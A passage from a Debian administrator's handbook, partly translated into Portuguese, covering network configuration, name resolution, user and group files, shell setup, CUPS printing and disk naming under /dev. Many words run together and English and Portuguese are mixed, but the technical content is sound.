$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/

mv "travail/�l�ments graphiques" "travail/Éléments graphiques"mv "travail/Ic�nes" "travail/Icônes"Ready!

$ ls travail/

Éléments graphiques Icônes Textes

For the file content, conversionprocedures are more complex due tothe vast variety of existing file formats.Some file formats include encodinginformation that facilitates the tasks ofthe software used to treat them; it issufficient, then, to open these files andre-save them specifying UTF-8encoding. In other cases, you have tospecify the original encoding (ISO-8859-1 or “Western”, or ISO-8859-15

or “Western (European)”, according tothe formulations) when opening thefile.

For simple text files, you can userecode (in the package of the samename) which allows automaticrecoding. This tool has numerousoptions so you can play with itsbehavior. We recommend you consultthe documentation, the recode(1) manpage, or the recode info page (morecomplete).

8.2. Configurandoa Rede

DE VOLTA AO BÁSICO Conceitosessenciais de rede (Ethernet, endereçoIP, sub-rede, broadcast).

Most modern local networks use theEthernet protocol, where data is split intosmall blocks called frames andtransmitted on the wire one frame at atime. Data speeds vary from 10 Mb/s forolder Ethernet cards to 10 Gb/s in thenewest cards (with the most common ratecurrently growing from 100 Mb/s to1 Gb/s). The most widely used cables arecalled 10BASE-T, 100BASE-T,

1000BASE-T or 10GBASE-T dependingon the throughput they can reliablyprovide (the T stands for “twisted pair”);those cables end in an RJ45 connector.There are other cable types, used mostlyfor speeds above 1 Gb/s.

An IP address is a number used to identifya network interface on a computer on alocal network or the Internet. In thecurrently most widespread version of IP(IPv4), this number is encoded in 32 bits,and is usually represented as 4 numbersseparated by periods (e.g. 192.168.0.1),each number being between 0 and 255(inclusive, which corresponds to 8 bits ofdata). The next version of the protocol,IPv6, extends this addressing space to128 bits, and the addresses are generallyrepresented as series of hexadecimalnumbers separated by colons (e.g.,

2001:db8:13bb:0002:0000:0000:0020, or2001:db8:13bb:2::20 for short).

A subnet mask (netmask) defines in itsbinary code which portion of an IPaddress corresponds to the network, theremainder specifying the machine. In theexample of configuring a static IPv4address given here, the subnet mask,255.255.255.0 (24 “1”s followed by 8“0”s in binary representation) indicatesthat the first 24 bits of the IP addresscorrespond to the network address, andthe other 8 are specific to the machine. InIPv6, for readability, only the number of“1”s is expressed; the netmask for anIPv6 network could, thus, be 64.

The network address is an IP address inwhich the part describing the machine'snumber is 0. The range of IPv4 addresses

in a complete network is often indicatedby the syntax, a.b.c.d/e, in which a.b.c.d isthe network address and e is the numberof bits affected to the network part in anIP address. The example network wouldthus be written: 192.168.0.0/24. Thesyntax is similar in IPv6:2001:db8:13bb::/64.

A router is a machine that connectsseveral networks to each other. All trafficcoming through a router is guided to thecorrect network. To do this, the routeranalyzes incoming packets and redirectsthem according to the IP address of theirdestination. The router is often known asa gateway; in this configuration, it worksas a machine that helps reach out beyonda local network (towards an extendednetwork, such as the Internet).

The special broadcast address connectsall the stations in a network. Almost never“routed”, it only functions on the networkin question. Specifically, it means that adata packet addressed to the broadcastnever passes through the router.

Este capítulo foca nos endereços IPv4, jáque eles são os mais comumente usados.Os detalhes sobre o protocolo IPv6 sãodiscutidos aqui Section 10.5, “IPv6”, masos conceitos se mantém os mesmos.

Já que a rede é automaticamenteconfigurado durante a instalaçãoinicial, o arquivo/etc/network/interfaces já contémuma configuração válida. Uma linhacomeçando com auto provê uma lista

de interfaces que são configuradasautomaticamente na inicialização.Comumente será eth0, o qual se referea primeira placa de rede.

8.2.1. Interface deRedeIf the computer has an Ethernet card,the network that is associated with itmust be configured by choosing fromone of two methods. The simplestmethod is dynamic configuration withDHCP, and it requires a DHCP serveron the local network. It may indicate adesired hostname, corresponding to the

hostname setting in the examplebelow. The DHCP server then sendsconfiguration settings for theappropriate network.

Example 8.1. Configuração DHCP

auto eth0

iface eth0 inet dhcp

hostname arrakis

Uma configuração "static" deve indicaruma configuração de rede de maneirafixa. Isto incluí ao menos o endereço IPe uma máscara de sub rede; endereçosde rede e brodcasts são algumas vezeslistados também. Um roteadorconectado ao exterior será especificadocomo um gateway.

Example 8.2. Configuração estática

auto eth0

iface eth0 inet static

address 192.168.0.3

netmask 255.255.255.0

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

NOTA Múltiplos endereços

It is possible not only to associate severalinterfaces to a single, physical networkcard, but also several IP addresses to asingle interface. Remember also that an IPaddress may correspond to any number ofnames via DNS, and that a name may alsocorrespond to any number of numerical IPaddresses.

Como você pode imaginar, as

configurações podem ser complexas, masestas opções são usadas somente emcasos especiais. Os exemplos citados aquisão configurações habituais típicas.

8.2.2. Conectando comPPP através de ummodem PSTNUma conexão ponto a ponto (PPP) criauma conexão intermitente; está é asolução mais comum para conexãofeitas com um modem telefônico("modem PSTN", já que a conexão vaipela rede de telefonia).

A connection by telephone modemrequires an account with an accessprovider, including a telephonenumber, username, password, and,sometimes the authentication protocolto be used. Such a connection isconfigured using the pppconfig tool inthe Debian package of the same name.By default, it uses the access provider'sconnection. When in doubt about theauthentication protocol, choose PAP: itis offered by the majority of Internetservice providers.

After configuration, it is possible toconnect using the pon command(giving it the name of the connection asa parameter, when the default value of

provider is not appropriate). The linkis disconnected with the poffcommand. These two commands can beexecuted by the root user, or by anyother user, provided they are in the dipgroup.

FERRAMENTA Conexão sob demandacom diald

diald é serviço de conexão sob demandaque automaticamente estabelece umaconexão com necessário, detectando umpacote IP sainte e desconectando após umperíodo de inatividade.

8.2.3. Conectando

através de um modemADSLThe generic term “ADSL modem”covers a multitude of devices with verydifferent functions. The modems thatare simplest to use with Linux arethose that have an Ethernet interface.These tend to be popular; ADSLInternet service providers lend (orlease) a “box” with Ethernet interfacesmore and more frequently, instead ofthose with USB interfaces. Accordingto the type of modem, theconfiguration required can vary widely.

8.2.3.1. Modems SupportingPPPOE

Some Ethernet modems work with thePPPOE protocol (Point to PointProtocol over Ethernet). Thepppoeconf tool (from the package withthe same name) will configure theconnection. To do so, it modifies the/etc/ppp/peers/dsl-provider filewith the settings provided and recordsthe login information in the/etc/ppp/pap-secrets and/etc/ppp/chap-secrets files. It isrecommended to accept allmodifications that it proposes.

Uma vez que essa configuração está

completa, você pode iniciar a conexãoADSL com o comando, pon dsl-provider ou desconectar com poff dsl-provider.

DICA Iniciando ppp via init

PPP connections over ADSL are, bydefinition, intermittent. Since they areusually not billed according to time, thereare few downsides to the temptation ofkeeping them always open; one simplemeans to do so is to use the init process tocontrol the connection. All that's neededis to add a line such as the following atthe end of the /etc/inittab file; then, anytime the connection is disconnected, initwill reconnect it.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

A maioria das conexões ADSLdesconectam diariamente, mas estemétodo reduz a duração da interrupção.

8.2.3.2. Modems SupportingPPTP

The PPTP (Point-to-Point TunnelingProtocol) protocol was created byMicrosoft. Deployed at the beginningof ADSL, it was quickly replaced byPPPOE. If this protocol is forced onyou, see Chapter 10, Infraestrutura deRede in the section about virtualprivate networks detailing PPTP.

8.2.3.3. Modems SupportingDHCP

When a modem is connected to thecomputer by an Ethernet cable(crossover cable) you typicallyconfigure a network connection byDHCP on the computer; the modemautomatically acts as a gateway bydefault and takes care of routing(meaning that it manages the networktraffic between the computer and theInternet).

DE VOLTA AO BÁSICO Cabos de partrançado para conexão de rede direta

Computer network cards expect to receive

data on specific wires in the cable, andsend their data on others. When youconnect a computer to a local network,you usually connect a cable (straight orcrossover) between the network card anda repeater or switch. However, if you wantto connect two computers directly(without an intermediary switch orrepeater), you must route the signal sentby one card to the receiving side of theother card, and vice-versa. This is thepurpose of a crossover cable, and thereason it is used.

In France, this method is used byFreebox, Neufbox, and Livebox, theADSL modems provided by the Free,SFR/Neuf, and Wanadoo/Orange ISPs.It is also provided by most “ADSL

routers” on the market.

8.2.4. ConfiguraçãoAutomática de Redepara Usuários emRoamingMany Falcot engineers have a laptopcomputer that, for professionalpurposes, they also use at home. Thenetwork configuration to use differsaccording to location. At home, it maybe a wifi network (protected by a WEPkey), while the workplace uses a wirednetwork for greater security and more

bandwidth.

To avoid having to manually connector disconnect the correspondingnetwork interfaces, administratorsinstalled the network-manager packageon these roaming machines. Thissoftware enables a user to easily switchfrom one network to another using asmall icon displayed in the notificationarea of their graphical desktop.Clicking on this icon displays a list ofavailable networks (both wired andwireless), so they can simply choosethe network they wish to use. Theprogram saves the configuration for thenetworks to which the user has alreadyconnected, and automatically switches

to the best available network when thecurrent connection drops.

In order to do this, the program isstructured in two parts: a daemonrunning as root handles activation andconfiguration of network interfaces anda user interface controls this daemon.Only members of the “netdev” grouphave permissions to control thisprogram.

Network Manager knows how to handlevarious types of connections (DHCP,manual configuration, local network),but only if the configuration is set withthe program itself. This is why it willsystematically ignore all network

interfaces in/etc/network/interfaces for whichit is not suited. The settings are verystrict; details are available in the/usr/share/doc/network-

manager/README.Debian file. SinceNetwork Manager doesn't give detailswhen no network connections areshown, the easy way is to delete from/etc/network/interfaces anyconfiguration for all interfaces thatmust be managed by NetworkManager.

Note que este programa já é instaladopor padrão quando a tarefa "DesktopEnvironment" é escolhida durante ainstalação.

ALTERNATIVA Configuração por"perfil de rede"

More advanced users may want to try theguessnet package for automatic networkconfiguration. A group of test scriptsdetermine which network profile shouldbe activated and configure it on the fly.

Usuários que preferem selecionarmanualmente o perfil de rede preferirá oprograma netenv, encontrado no pacotedo mesmo nome.

8.3. Setting theHostname andConfiguring theName ServiceThe purpose of assigning names to IPnumbers is to make them easier forpeople to remember. In reality, an IPaddress identifies a network interfaceassociated with a device such as anetwork card. Since each machine canhave several network cards, and severalinterfaces on each card, one singlecomputer can have several names in

the domain name system.

Each machine is, however, identifiedby a main (or “canonical”) name,stored in the /etc/hostname file andcommunicated to the Linux kernel byinitialization scripts through thehostname command. The current valueis available in a virtual filesystem, andyou can get it with the cat/proc/sys/kernel/hostname command.

DE VOLTA AO BÁSICO /proc/ e /sys/,sistemas de arquivos virtuais

The /proc/ and /sys/ file trees aregenerated by “virtual” filesystems. This isa practical means of recoveringinformation from the kernel (by listing

virtual files) and communicating them toit (by writing to virtual files).

/sys/ in particular is designed to provideaccess to internal kernel objects,especially those representing the variousdevices in the system. The kernel can,thus, share various pieces of information:the status of each device (for example, ifit is in energy saving mode), whether it isa removable device, etc. Note that /sys/has only existed since kernel version 2.6.

Surprisingly, the domain name is notmanaged in the same way, but comesfrom the complete name of themachine, acquired through nameresolution. You can change it in the/etc/hosts file; simply write a

complete name for the machine there atthe beginning of the list of namesassociated with the address of themachine, as in the following example:

127.0.0.1 localhost

192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Resolução deNomeThe mechanism for name resolution inLinux is modular and can use varioussources of information declared in the/etc/nsswitch.conf file. The entrythat involves host name resolution is

hosts. By default, it contains dnsfiles, which means that the systemconsults the /etc/hosts file first, thenDNS servers. NIS/NIS+ or LDAPservers are other possible sources.

NOTA NSS e DNS

Be aware that the commands specificallyintended to query DNS (especially host)do not use the standard name resolutionmechanism (NSS). As a consequence,they do not take into consideration/etc/nsswitch.conf, and thus, not/etc/hosts either.

8.3.1.1. Configurando

Servidores DNS

DNS (Domain Name Service) is adistributed and hierarchical servicemapping names to IP addresses, andvice-versa. Specifically, it can turn ahuman-friendly name such aswww.eyrolles.com into the actual IPaddress, 213.244.11.247.

To access DNS information, a DNSserver must be available to relayrequests. Falcot Corp has its own, butan individual user is more likely to usethe DNS servers provided by their ISP.

The DNS servers to be used areindicated in the /etc/resolv.conf,

one per line, with the nameserverkeyword preceding an IP address, as inthe following example.

nameserver 212.27.32.176

nameserver 212.27.32.177

nameserver 8.8.8.8

8.3.1.2. O arquivo/etc/hosts

If there is no name server on the localnetwork, it is still possible to establisha small table mapping IP addresses andmachine hostnames in the /etc/hostsfile, usually reserved for local networkstations. The syntax of this file is very

simple: each line indicates a specific IPaddress followed by the list of anyassociated names (the first being“completely qualified”, meaning itincludes the domain name).

This file is available even duringnetwork outages or when DNS serversare unreachable, but will only really beuseful when duplicated on all themachines on the network. The slightestalteration in correspondence willrequire the file to be updatedeverywhere. This is why /etc/hostsgenerally only contains the mostimportant entries.

Este arquivo será suficiente para uma

rede pequena sem conexão com ainternet, mas com 5 máquinas ou mais,é recomendado a instalação de umservidor DNS adequado.

DICA Ignorando o DNS

Since applications check the /etc/hostsfile before querying DNS, it is possible toinclude information in there that isdifferent from what the DNS wouldreturn, and therefore to bypass normalDNS-based name resolution.

This allows, in the event of DNS changesnot yet propagated, to test access to awebsite with the intended name even ifthis name is not properly mapped to thecorrect IP address yet.

Another possible use for DNS redirectionis to bypass traffic intended for a specifichost to another local machine. Forexample, if a name server was configuredto send ad banners, you could diverttraffic to a local host which would bypassthese ads resulting in more fluid, lessdistracting, navigation.

8.4. User andGroup DatabasesThe list of users is usually stored in the/etc/passwd file, while the/etc/shadow file stores encryptedpasswords. Both are text files, in arelatively simple format, which can beread and modified with a text editor.Each user is listed there on a line withseveral fields separated with a colon(“:”).

NOTA Editando arquivos do sistema

The system files mentioned in this chapter

are all plain text files, and can be editedwith a text editor. Considering theirimportance to core system functionality,it is always a good idea to take extraprecautions when editing system files.First, always make a copy or backup of asystem file before opening or altering it.Second, on servers or machines wheremore than one person could potentiallyaccess the same file at the same time, takeextra steps to guard against filecorruption.

For this purpose, it is enough to use thevipw command to edit the /etc/passwdfile, or vigr to edit /etc/group. Thesecommands lock the file in question priorto running the text editor, (vi by default,unless the EDITOR environment variablehas been altered). The -s option in thesecommands allows editing the

corresponding shadow file.

DE VOLTA AO BÁSICO Crypt, umafunção de mão única

crypt is a one-way function thattransforms a string (A) into another string(B) in a way that A cannot be derived fromB. The only way to identify A is to test allpossible values, checking each one todetermine if transformation by thefunction will produce B or not. It uses upto 8 characters as input (string A) andgenerates a string of 13, printable, ASCIIcharacters (string B).

8.4.1. Lista de

Usuários: /etc/passwdAqui está uma lista de campos doarquivo /etc/passwd:

login, por exemplo rhertzog;password: this is a passwordencrypted by a one-way function,either crypt or md5. The specialvalue “x” indicates that theencrypted password is stored in/etc/shadow;uid: identificar numérico únicopara cada usuário;gid: unique number for the user'smain group (Debian creates aspecific group for each user by

default);GECOS: data field usuallycontaining the user's full name;login directory, assigned to theuser for storage of their personalfiles (the environment variable$HOME generally points here);program to execute upon login.This is usually a commandinterpreter (shell), giving the userfree reign. If you specify/bin/false (which does nothingand returns control immediately),the user can not login.

DE VOLTA AO BÁSICO Grupo Unix

A Unix group is an entity including

several users so that they can easily sharefiles using the integrated permissionsystem (by having precisely the samerights). You can also restrict use ofcertain programs to a specific group.

8.4.2. O Oculto eCriptografo Arquivode Senhas:/etc/shadow

O arquivo /etc/shadow contém osseguintes campos:

login

senha criptografada;diversos campos controlam aexpiração da senha.

DOCUMENTATION /etc/passwd,/etc/shadow and /etc/group file formats

Estes formatos estão documentados nasseguintes páginas de manuais: passwd(5),shadow(5), e group(5).

SEGURANÇA /etc/shadow segurança dearquivos

/etc/shadow, unlike its alter-ego,/etc/passwd, cannot be read by regularusers. Any encrypted password stored in/etc/passwd is readable by anybody; acracker could try to “break” (or reveal) a

password by one of several “brute force”methods which, simply put, guess atcommonly used combinations ofcharacters. This attack — called a"dictionary attack" — is no longerpossible on systems using /etc/shadow.

8.4.3. Modificandouma Conta de UsuárioExistente ou SenhaThe following commands allowmodification of the information storedin specific fields of the user databases:passwd permits a regular user to

change their password, which in turn,updates the /etc/shadow file; chfn(CHange Full Name), reserved for thesuper-user (root), modifies the GECOSfield. chsh (CHange SHell) allows theuser to change their login shell,however available choices will belimited to those listed in /etc/shells;the administrator, on the other hand, isnot bound by this restriction and canset the shell to any program of theirchoosing.

Finally, the chage (CHange AGE)command allows the administrator tochange the password expirationsettings (the -l user option will listthe current settings). You can also

force the expiration of a passwordusing the passwd -e user command,which will require the user to changetheir password the next time they login.

8.4.4. Desabilitandouma ContaYou may find yourself needing to“disable an account” (lock out a user),as a disciplinary measure, for thepurposes of an investigation, or simplyin the event of a prolonged ordefinitive absence of a user. A disabledaccount means the user cannot login or

gain access to the machine. Theaccount remains intact on the machineand no files or data are deleted; it issimply inaccessible. This isaccomplished by using the commandpasswd -l user (lock). Re-enabling theaccount is done in similar fashion, withthe -u option (unlock).

APROFUNDANDO NSS e banco dedados do sistema

Instead of using the usual files to managelists of users and groups, you could useother types of databases, such as LDAP ordb, by using an appropriate NSS (NameService Switch) module. The modulesused are listed in the /etc/nsswitch.conffile, under the passwd, shadow and group

entries. See Section 11.7.3.1,“Configurando o NSS” for a specificexample of the use of an NSS module byLDAP.

8.4.5. Lista de Grupo:/etc/group

Grupos são listados no arquivo/etc/group, um banco de dados detexto simples em um formato similarao arquivo /etc/passwd, com osseguintes campos:

nome do grupopassword (optional): This is only

used to join a group when one isnot a usual member (with thenewgrp or sg commands, seesidebar);gid: unique group identificationnumberlist of members: list of names ofusers who are members of thegroup, separated by commas.

DE VOLTA AO BÁSICO Trabalhandocom grupos diversos

Each user may be a member of manygroups; one of them is their “maingroup”. A user's main group is, by default,created during initial user configuration.By default, each file that a user createsbelongs to them, as well as to their main

group. This is not always desirable; forexample, when the user needs to work in adirectory shared by a group other thantheir main group. In this case, the userneeds to change their main group usingone of the following commands: newgrp,which starts a new shell, or sg, whichsimply executes a command using thesupplied alternate group. Thesecommands also allow the user to join agroup to which they do not belong. If thegroup is password protected, they willneed to supply the appropriate passwordbefore the command is executed.

Alternatively, the user can set the setgidbit on the directory, which causes filescreated in that directory to automaticallybelong to the correct group. For moredetails, see sidebar SECURITY setgiddirectory and sticky bit.

The id command displays the current stateof a user, with their personal identifier(uid variable), current main group (gidvariable), and the list of groups to whichthey belong (groups variable).

The addgroup and delgroupcommands add or delete a group,respectively. The groupmod commandmodifies a group's information (its gidor identifier). The command passwd -ggroup changes the password for thegroup, while the passwd -r -g groupcommand deletes it.

DICA getent

The getent (get entries) command checks

the system databases the standard way,using the appropriate library functions,which in turn call the NSS modulesconfigured in the /etc/nsswitch.conffile. The command takes one or twoarguments: the name of the database tocheck, and a possible search key. Thus,the command getent passwd rhertzogwill give the information from the userdatabase regarding the user rhertzog.

8.5. Criação deContasOne of the first actions anadministrator needs to do when settingup a new machine is to create useraccounts. This is typically done usingthe adduser command which takes auser-name for the new user to becreated, as an argument.

The adduser command asks a fewquestions before creating the account,but its usage is fairly straightforward.Its configuration file,/etc/adduser.conf, includes all the

interesting settings: it can be used toautomatically set a quota for each newuser by creating a user template, or tochange the location of user accounts;the latter is rarely useful, but it comesin handy when you have a large numberof users and want to divide theiraccounts over several disks, forinstance. You can also choose adifferent default shell.

DE VOLTA AO BÁSICO Cota

O termo "cota" se refere a um limite derecursos da máquina que um usuário épermitido usar. Isto é frequentemente serefere ao espaço de disco.

The creation of an account populatesthe user's home directory with thecontents of the /etc/skel/ template.This provides the user with a set ofstandard directories and configurationfiles.

In some cases, it will be useful to add auser to a group (other than their default“main” group) in order to grant themadditional permissions. For example, auser who is included in the audio groupcan access audio devices (see sidebar“Device access permissions”). This canbe achieved with a command such asadduser user group.

DE VOLTA AO BÁSICO Permissão de

acesso a dispositivos

Each hardware peripheral device isrepresented under Unix with a specialfile, usually stored in the file tree under/dev/ (DEVices). Two types of specialfiles exist according to the nature of thedevice: “character mode” and “blockmode” files, each mode allowing for onlya limited number of operations. Whilecharacter mode limits interaction withread/write operations, block mode alsoallows seeking within the available data.Finally, each special file is associatedwith two numbers (“major” and “minor”)that identify the device to the kernel in aunique manner. Such a file, created by themknod command, simply contains asymbolic (and more human-friendly)name.

The permissions of a special file map tothe permissions necessary to access thedevice itself. Thus, a file such as/dev/mixer, representing the audio mixer,only has read/write permissions for theroot user and members of the audiogroup. Only these users can operate theaudio mixer.

It should be noted that the combination ofudev, consolekit and policykit can addadditional permissions to allow usersphysically connected to the console (andnot through the network) to access tocertain devices.

8.6. ShellEnvironmentCommand interpreters (or shells) arefrequently a user's first point of contactwith the computer, and they musttherefore be rather friendly. Most ofthem use initialization scripts thatallow configuration of their behavior(automatic completion, prompt text,etc.).

bash, the standard shell, uses the/etc/bash.bashrc initialization scriptfor “interactive” shells, and/etc/profile for “login” shells.

BACK TO BASICS Login shell and (non)interactive shell

In simple terms, a login shell is invokedwhen you log in to the console usingtelnet or ssh, or through an explicit bash --login command. Regardless of whetherit's a login shell or not, a shell can beinteractive (in an xterm-type terminal forinstance); or non-interactive (whenexecuting a script).

DISCOVERY Other shells, other scripts

Each command interpreter has a specificsyntax and its own configuration files.Thus, zsh uses /etc/zshrc and/etc/zshenv; csh uses /etc/csh.cshrc,/etc/csh.login and /etc/csh.logout.

The man pages for these programsdocument which files they use.

For bash, it is useful to activate“automatic completion” in the/etc/bash.bashrc file (simplyuncomment a few lines).

DE VOLTA AO BÁSICO Preenchimentoautomático

Many command interpreters provide acompletion feature, which allows the shellto automatically complete a partiallytyped command name or argument whenthe user hits the Tab key. This lets userswork more efficiently and be less error-prone.

This function is very powerful andflexible. It is possible to configure itsbehavior according to each command.Thus, the first argument following apt-getwill be proposed according to the syntaxof this command, even if it does notmatch any file (in this case, the possiblechoices are install, remove, upgrade,etc.).

DE VOLTA AO BÁSICO O til, um atalhopara o HOME

The tilde is often used to indicate thedirectory to which the environmentvariable, HOME, points (being the user'shome directory, such as/home/rhertzog/). Command interpretersautomatically make the substitution:~/hello.txt becomes

/home/rhertzog/hello.txt.

The tilde also allows access to anotheruser's home directory. Thus,~rmas/bonjour.txt is synonymous with/home/rmas/bonjour.txt.

In addition to these common scripts,each user can create their own~/.bashrc and ~/.bash_profile toconfigure their shell. The mostcommon changes are the addition ofaliases; these are words that areautomatically replaced with theexecution of a command, which makesit faster to invoke that command. Forinstance, you could create the la aliasfor the command ls -la | less command;

then you only have to type la to inspectthe contents of a directory in detail.

DE VOLTA AO BÁSICO Variáveis deambiente

Environment variables allow storage ofglobal settings for the shell or variousother programs called. They arecontextual (each process has its own setof environment variables) but inheritable.This last characteristic offers thepossibility for a login shell to declarevariables which will be passed down to allprograms it executes.

Setting default environment variablesis an important element of shell

configuration. Leaving aside thevariables specific to a shell, it ispreferable to place them in the/etc/environment file, since it is usedby the various programs likely toinitiate a shell session. Variablestypically defined there includeORGANIZATION, which usually containsthe name of the company ororganization, and HTTP_PROXY, whichindicates the existence and location ofan HTTP proxy.

DICA Todos os shells configuradosidenticamente

Users often want to configure their loginand interactive shells in the same way. Todo this, they choose to interpret (or

“source”) the content from ~/.bashrc inthe ~/.bash_profile file. It is possible todo the same with files common to allusers (by calling /etc/bash.bashrc from/etc/profile).

8.7. Configuraçãoda ImpressoraPrinter configuration used to cause agreat many headaches foradministrators and users alike. Theseheadaches are now mostly a thing ofthe past, thanks to the creation of cups,the free print server using the IPPprotocol (Internet Printing Protocol).

This program is divided over severalDebian packages: cups is the centralprint server; cups-bsd is acompatibility layer allowing use ofcommands from the traditional BSD

printing system (lpd daemon, lpr andlpq commands, etc.); cups-clientcontains a group of programs tointeract with the server (block orunblock a printer, view or delete printjobs in progress, etc.); and finally,cups-driver-gutenprint contains acollection of additional printer driversfor cups.

COMUNIDADE CUPS

CUPS (Common Unix Printing System) isa trademark filed by the Easy SoftwareProducts company, when cups wascreated.

→ http://www.easysw.com/

NOTA CUPS e CUPSYS

The packages containing cups arecurrently called cups, cups-client, cups-bsd, etc. In the Debian versions beforeLenny, the packages had names built onthe basis of cupsys. You may still findtransition packages installed on somerelatively old machines that have beenupdated over time.

After installation of these differentpackages, cups is administered easilythrough a web interface accessible atthe local address:http://localhost:631/. There youcan add printers (including networkprinters), remove, and administer them.

You can also administer cups with thesystem-config-printer graphicalinterface (from the Debian package ofthe same name), which is installed bydefault if the “Desktop environment”task is chosen.

NOTA Obsolescência do /etc/printcap

cups no longer uses the /etc/printcapfile, which is now obsolete. Programs thatrely upon this file to get a list of availableprinters will, thus, fail. To avoid thisproblem, delete this file and make it asymbolic link (see sidebar DE VOLTA AOBÁSICO Links simbólicos) to/var/run/cups/printcap, which ismaintained by cups to ensurecompatibility.

8.8. Configuringthe BootloaderIt is probably already functional, but itis always good to know how toconfigure and install the bootloader incase it disappears from the MasterBoot Record. This can occur afterinstallation of another operatingsystem, such as Windows. Thefollowing information can also helpyou to modify the bootloaderconfiguration if needed.

DE VOLTA AO BÁSICO Registro mestrede inicialização

The Master Boot Record (MBR) occupiesthe first 512 bytes of the first hard disk,and is the first thing loaded by the BIOSto hand over control to a program capableof booting the desired operating system.In general, a bootloader is installed in theMBR, removing its previous content.

8.8.1. Identificando osDiscos

CULTURA udev, devfs e /dev/

The /dev/ directory traditionally housesso-called “special” files, intended torepresent system peripherals (see sidebarDE VOLTA AO BÁSICO Permissão de

acesso a dispositivos). /dev/hda1 thusalways corresponds to the first partitionof the first IDE hard drive. This staticstructure does not allow dynamic settingof “major” and “minor” numbers for thesefiles, which forces kernel developers tolimit their number, since a prioriassignment of the identifiers prohibitsadding more once these conventions areestablished.

To take into account the characteristics ofmore and more dynamic, moderncomputers, the kernel has, at some time,offered an implementation of /dev/ by avirtual filesystem called devfs. In somecases, this makes it easier to find files,since the naming convention uses ahierarchical structure: the first partitionof the master hard drive on the first IDEbus was then represented by the file,

/dev/ide/host0/bus0/target0/lun0/part1.Not only were these naming conventionsnot very intuitive, but they were alsohard-coded into the kernel whichpresented problems for hot-pluggabledrives because the corresponding specialfile name would vary.

The current solution is the secondincarnation of the process, udev, withwhich the kernel delegates the choice ofthe device file names to be created to aprogram in user space. This program(udevd) can then have all of theflexibility of user space to decide whatactions to take, naming of peripherals,etc.

With udev (user-space /dev/), afilesystem is stored in RAM andgenerated automatically by udevd (and it

hides the content of any /dev/ that maybe stored on-disk). udevd collaborateswith the kernel's hotplug sub-system (seeSection 9.11, “Hot Plugging: hotplug”) todetect the appearance (hotplugging) ofdevices, then dynamically creates thecorresponding special files in /dev/. Thecontent of /dev/ is, thus, lost on eachreboot, but udev recreates itsystematically.

This mechanism allows the machine todynamically choose the file name. Youcan thus keep the same name for a givendevice, regardless of the connector usedor the connection order, which isespecially useful when you use variousUSB peripherals. The partition system onthe first IDE hard drive can then be called/dev/hda1 for backwards compatibility, or/dev/root-partition if you prefer, or

even both at the same time since udevdcan be configured to automatically createa symbolic link. Furthermore, /dev/ nolonger contains useful files at this time.Previously, some kernel modules did notautomatically load when you tried toaccess the corresponding peripheral;henceforth, the peripheral's special file nolonger exists prior to loading the module,which is no big deal, since most modulesare loaded on boot thanks to automatichardware detection. But for undetectableperipherals (such as older disk drives orPS/2 mice), this doesn't work. Consideradding the modules, floppy, psmouse andmousedev to /etc/modules in order toforce loading them on boot.

Configuration of the bootloader must

identify the different hard drives andtheir partitions. Linux uses a specialfilesystem (in “block” mode) stored inthe /dev/ directory, for this purpose.Historically, /dev/hda was the masterdisk on the first IDE controller, and/dev/hdb its first slave, /dev/hdc and/dev/hdd being, respectively, themaster and slave disks on the secondIDE controller, and so on down for anyothers. /dev/sda corresponded to thefirst SCSI drive, /dev/sdb being thesecond, etc. This naming scheme hasbeen unified with the Linux kernelpresent in Squeeze, and all hard drives(IDE/PATA, SATA, SCSI, USB,IEEE 1394) are now represented by/dev/sd*.

Each partition is represented by itsnumber on the disk on which it resides:for instance, /dev/sda1 is the firstpartition on the first disk, and/dev/sdb3 is the third partition on thesecond disk.

The PC architecture (or “i386”) islimited to four “primary” partitions perdisk. To go beyond this limitation, oneof them must be created as an“extended” partition, and it can thencontain additional “secondary”partitions. These secondary partitionsmust be numbered from 5. Thus thefirst secondary partition could be/dev/sda5, followed by /dev/sda6,etc.

It is not always easy to remember whatdisk is connected to which SATAcontroller, or in third position in theSCSI chain, especially since thenaming of hotplugged hard drives(which includes among others mostSATA disks and external disks) canchange from one boot to another.Fortunately, udev creates, in additionto /dev/sd*, symbolic links with afixed name, which you could then useif you wished to identify a hard drive ina non-ambiguous manner. Thesesymbolic links are stored in/dev/disk/by-id. On a machine withtwo physical disks, for example, onecould find the following:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

